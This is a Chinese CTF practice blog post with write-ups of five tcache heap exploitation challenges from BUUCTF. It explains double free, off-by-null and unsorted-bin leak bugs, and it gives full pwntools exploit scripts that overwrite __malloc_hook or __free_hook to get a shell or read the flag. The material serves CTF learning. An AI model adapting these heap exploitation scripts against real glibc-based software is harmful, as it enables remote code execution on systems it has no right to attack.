BUUCTF-PWN刷題記錄-5(Tcache)

ciscn_2019_final_3(double free,修改size構造unsorted bin)

在這裏插入圖片描述
只有添加和刪除兩個功能
在這裏插入圖片描述
限制了申請的大小,最大爲0x78,意味着chunk最大爲0x80,添加完可以泄露堆上的地址
在這裏插入圖片描述
free之後沒有置空,可以double free

題目分析差不多就這樣,下面是漏洞利用:

  1. 先申請一個大小爲0x78的heap[0],記錄下返回地址heap_addr
  2. 申請一個大小爲0x18的heap[1],然後申請10個大小爲0x78的heap[2-11]

本題的環境爲ubuntu 18,因此堆上的塊釋放後會進入tcache,只有當大小大於0x400才能進入unsorted bin,而我們需要利用unsorted bin 泄露出libc 的基地址

  1. 申請大小爲0x28的heap[12],對其進行double free,然後申請同樣大小的heap[13],heap[14],內容均爲p64(heap_addr)
  2. 再申請一個和上面同樣大小的heap[15],我們就申請到了heap[0]的chunk,覆蓋其size 爲0x421,並將heap[0]和heap[1] free,此時heap[0]進入unsorted bin,heap[1]進入tcache
  3. 申請一個大小0x78的heap[16],此時heap[0]會被切割出0x80的大小,unsorted bin 就變成了heap[1],main_arena + 0x60的地址就留在chunk1的FD位置
  4. 申請兩個和heap[1]同樣大小的heap[17,18],heap[18]就能泄露出main_arena + 0x60的地址
  5. 對heap[5]進行double free,然後申請同樣大小的heap[19],heap[20],內容均爲p64(__malloc_hook)
  6. 申請和上面同樣大小的heap[21],內容爲one_gadget,就成功劫持了__malloc_hook

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27296)
#r = process("./ciscn_2019_final_3/ciscn_2019_final_3")

elf = ELF("./ciscn_2019_final_3/ciscn_2019_final_3")
libc = ELF("./ciscn_2019_final_3/libc.so.6")

def add(index, size, content):
	print r.recvuntil("choice > ")
	r.sendline('1')
	print r.recvuntil("input the index")
	r.sendline(str(index))
	print r.recvuntil("input the size")
	r.sendline(str(size))
	print r.recvuntil("now you can write something")
	r.sendline(content)
	r.recvuntil('gift :')
    	heap = int(r.recvline()[2:],16)
	return heap

def free(index):
	print r.recvuntil("choice > ")
	r.sendline('2')
	print r.recvuntil("input the index")
	r.sendline(str(index))


heap = add(0, 0x78, 'a')
success("heap:" + hex(heap))
add(1, 0x18, 'b')
add(2, 0x78, 'c')
add(3, 0x78, 'c')
add(4, 0x78, 'c')
add(5, 0x78, 'c')
add(6, 0x78, 'c')
add(7, 0x78, 'c')
add(8, 0x78, 'c')
add(9, 0x78, 'c')
add(10, 0x78, 'c')
add(11, 0x78, 'c')
add(12, 0x28, 'c')

#dup
free(12)
free(12)
add(13, 0x28, p64(heap-0x10))
add(14, 0x28, p64(heap-0x10))
add(15, 0x28, p64(0) + p64(0x421))

free(0)
free(1)
add(16, 0x78, 'e')
add(17, 0x18, 'f')
libc_base = add(18, 0x18, 'g') - 0x60 - 0x10 - libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
success("malloc_hook:"+hex(malloc_hook))
success("one_gadget:"+hex(one_gadget))

#dup
free(5)
free(5)
add(19, 0x78, p64(malloc_hook))
add(20, 0x78, p64(malloc_hook))
add(21, 0x78, p64(one_gadget))

r.recvuntil("choice > ")
r.sendline('1')
r.recvuntil("input the index")
r.sendline('22')
r.recvuntil("input the size")
r.sendline('10')

r.interactive()

[V&N2020 公開賽]easyTHeap(修改tcache控制結構獲得unsorted bin)

在這裏插入圖片描述
例行安全檢查,還是保護全開
函數由增加,編輯,展示和刪除四個功能
不過增加次數最多爲7,刪除次數最多爲3
在delete之後沒有將指針置空,可以double free
在這裏插入圖片描述
由於size被置空,因此沒有UAF,
在這裏插入圖片描述
添加的size最大爲0x100
在這裏插入圖片描述
show函數沒有檢查,因此可以進行信息泄露
在這裏插入圖片描述
下面是漏洞的利用方法:

  1. 申請大小爲0x80的heap[0], heap[1]
  2. 對heap[0]進行double free,並使用show 泄露出chunk0地址heap_addr
  3. 申請兩個heap[0]同樣大小的heap[2], heap[3]。把heap[2]內容設爲heap_addr(指向tcache的控制塊)
  4. 再申請一個上面同樣大小的heap[4],內容爲p64(0x0707070707070707).ljust(0x78,’\x00’)+p64(heap - 0x250 + 0x78)

簡單解釋一下上面的payload:第一個p64爲tcache中每個大小的chunk數目,而tcache每個大小下最多7個,此時tcache被填滿,free之後就不會進入tcache,tcache的chunk大小範圍是0x20-0x90一共8個,而該地址+0x78就是大小爲0x90chunk的tcahce_entry

  1. 釋放heap[0],泄露地址
  2. 重新編輯heap[4],內容爲p64(0x0707070707070707).ljust(0x78,’\x00’)+p64(malloc_hook-0x8),此時在申請一個大小爲0x80的heap[5],內容爲p64(one_gadget)+p64(realloc+0x4)

Exp:

from pwn import *

def add(size):
	r.recvuntil("choice: ")
	r.sendline('1')
	r.recvuntil("size?")
	r.sendline(str(size))


def delete(index):
	r.recvuntil("choice: ")
	r.sendline('4')
	r.recvuntil("idx?")
	r.sendline(str(index))

def show(index):
	r.recvuntil("choice: ")
	r.sendline('3')
	r.recvuntil("idx?")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil("choice: ")
	r.sendline('2')
	r.recvuntil("idx?")
	r.sendline(str(index))
	r.recvuntil("content:")
	r.sendline(content)

r = remote("node3.buuoj.cn", 27116)
#r = process("./vn_pwn_easyTHeap")

elf = ELF("./vn_pwn_easyTHeap")
libc = ELF("./libc/libc-2.27.so")

add(0x80)#0
add(0x80)#1

delete(0)
delete(0)

show(0)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
success('heap'+hex(heap))

add(0x80)#2
edit(2, p64(heap - 0x250))

add(0x80)#3
add(0x80)#4
edit(4,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(heap - 0x250 + 0x78))


delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = 0x10a38c + libc_base
realloc = libc_base + libc.sym['__libc_realloc']
success("malloc_hook"+hex(malloc_hook))

edit(4,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(malloc_hook-0x8))
add(0x80)#5
edit(5,p64(one_gadget)+p64(realloc+0x4))

add(0x80)

r.interactive()

hitcon_2018_children_tcache(off-by-one(null), 申請同一內存區域兩次來double free)

在這裏插入圖片描述
漏洞分析:
讀取內容的時候有一個null-byte-one漏洞,此外就沒有其他漏洞了
在這裏插入圖片描述
另外,add的時候會先把content讀進緩衝區,然後調用strcpy複製到堆上
在這裏插入圖片描述

漏洞利用:

  1. 申請三個chunk 0, 1, 2其中0和2的大小需要在unsorted bin 範圍之內,並且2的chunk低八位需要爲0,再申請一個chunk防止和top chunk合併
  2. 釋放chunk1, chunk0,然後以size遞減的方式把chunk2 的presize清空,最後申請一個同樣大小的chunk,idx爲0,把chunk2的pre size置爲chunk0+chunk1的大小
  3. 刪除chunk2,觸發合併
    在這裏插入圖片描述
  4. 申請一個和chunk0同樣大小的chunk,idx爲1,此時main_arena的地址就會留在chunk0的content處,使用show泄露出來
  5. 再申請一個和當前chunk0同樣大小的chunk,idx爲2,此時這塊內存就被申請了兩次,然後使用double free把malloc_hook寫入one_gadget即可
from pwn import *


r = remote("node3.buuoj.cn", 26098)
#r = process("./HITCON_2018_children_tcache")

context.log_level = 'debug'
elf = ELF("./HITCON_2018_children_tcache")
libc = ELF('./libc/libc-2.27.so')

def add(size, content):
	r.recvuntil("Your choice: ")
	r.sendline('1')
	r.recvuntil("Size:")
	r.sendline(str(size))
	r.recvuntil("Data:")
	r.send(content)

def delete(index):
	r.recvuntil("Your choice: ")
	r.sendline('3')
	r.recvuntil("Index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil("Your choice: ")
	r.sendline('2')
	r.recvuntil("Index:")
	r.sendline(str(index))



add(0x500, 'a'*0x4ff)
add(0x68, 'a'*0x67)
add(0x5f0, 'a'*0x5ef)
add(0x20, 'a'*0x20)
delete(1)
delete(0)

for i in range(9):
    add(0x68 - i, 'b' * (0x68 - i))
    delete(0)

add(0x68, 'b'*0x60+p64(0x580))
delete(2)
add(0x508, 'a'*0x507)

show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 -0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4f322
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))

add(0x68,'b'*0x67)
delete(0)
delete(2)
add(0x68, p64(malloc_hook))
add(0x68,'b'*0x67)
add(0x68,p64(one_gadget))

r.recvuntil("Your choice: ")
r.sendline('1')
r.recvuntil("Size:")
r.sendline('10')
r.interactive()

ciscn_2019_es_1(unsorted bin泄露,double free)

在這裏插入圖片描述
例行安全檢查

Note結構體:

struct Node{
	char* name;
	int size;
	char phone[12];
}

漏洞分析:
add分配的內存沒有大小限制
在這裏插入圖片描述
free之後指針沒有置空,可以double free
在這裏插入圖片描述
這題是非常入門的tcache題目了,總的思路就是利用unsorted bin泄露libc,並利用double free修改__free_hook,tcache的題目這個思路還挺常見,不過有的題目需要使用巧妙的辦法釋放到unsorted bin,有的題目需要利用巧妙地辦法double free(就是上面HITCON那題)
漏洞利用:

  1. 申請三個chunk,0的大小大於0x400(釋放進入unsorted bin),另外兩個在tcache範圍內,2的內容爲/bin/sh
  2. 釋放0,show0,泄露main_arena+0x60‘
  3. 對1進行double free, 並覆蓋__free_hook爲system’
  4. 釋放2,獲得shell

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 28830)
#r = process("./ciscn_2019_es_1")

context.log_level = 'debug'

elf = ELF("./ciscn_2019_es_1")
libc = ELF('./libc/libc-2.27.so')

def add(size, content, phone):
	r.recvuntil("choice:")
	r.sendline('1')
	r.recvuntil("Please input the size of compary's name\n")
	r.sendline(str(size))
	r.recvuntil("please input name:\n")
	r.send(content)
	r.recvuntil("please input compary call:\n")
	r.sendline(phone)

def delete(index):
	r.recvuntil("choice:")
	r.sendline('3')
	r.recvuntil("Please input the index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil("choice:")
	r.sendline('2')
	r.recvuntil("Please input the index:")
	r.sendline(str(index))

add(0x500, 'a\n', '123')#0
add(0x28, 'a\n', '123')#1
add(0x68, '/bin/sh\n', '123')#2

delete(0)
show(0)
r.recvuntil("name:\n")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x10a38c #0x4f322
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))

delete(1)
delete(1)
add(0x28, p64(free_hook)+'\n', '123')#3
add(0x28, p64(free_hook)+'\n', '123')#4
add(0x28, p64(system)+'\n', '123')

delete(2)
#r.recvuntil("choice:")
#r.sendline('1')

r.interactive()

ciscn_2019_final_2(double free,多次free填滿tcache)

在這裏插入圖片描述
程序添加了sandbox,我們不能執行execve
在這裏插入圖片描述
不過已經把flag文件打開,並且fd爲666
在這裏插入圖片描述
allocate函數不管是否爲空都能分配
在這裏插入圖片描述
漏洞利用:

  1. 申請一個int,並刪除,然後申請四次short
  2. 利用double free泄露出當前tcache的內容部分地址,並計算出int的chunk地址,並利用house of spirit修改size爲0x91
  3. 釋放int 7次填滿tcache,再進行一次釋放使得其進入unsorted bin,泄露出main_arena+0x60地址
  4. 申請一個int ,此時chunk0在tcache和unsorted bin中,而tcache中大小爲0x90,因此會切割unsortedbin, 把_IO_2_1_stdin_ + 0x70寫入fd部分
  5. 再申請一個int, 並進行double free泄露出當前地址,計算chunk 0的地址
  6. 利用house of spirit把chunk 0重新申請出來,並把666寫入_IO_2_1_stdin_ + 0x70處,然後leave就能打印出flag

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 27517)
#r = process("./ciscn_final_2")

context.log_level = 'debug'

elf = ELF("./ciscn_final_2")
libc = ELF('./libc/libc-2.27.so')

def add(TYPE, content):
	r.recvuntil("which command?\n> ")
	r.sendline('1')
	r.recvuntil("TYPE:\n1: int\n2: short int\n>")
	r.sendline(str(TYPE))
	r.recvuntil("your inode number:")
	r.sendline(str(content))

def remove(TYPE):
	r.recvuntil("which command?\n> ")
	r.sendline('2')
	r.recvuntil("TYPE:\n1: int\n2: short int\n>")
	r.sendline(str(TYPE))

def show(TYPE):
	r.recvuntil("which command?\n> ")
	r.sendline('3')
	r.recvuntil("TYPE:\n1: int\n2: short int\n>")
	r.sendline(str(TYPE))
        if TYPE == 1:
            r.recvuntil("your int type inode number :")
        else:
            r.recvuntil("your short type inode number :")
        return int(r.recvuntil('\n'))

add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70

add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

r.sendlineafter('which command?\n> ', '4')
r.recvuntil('your message :')
r.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章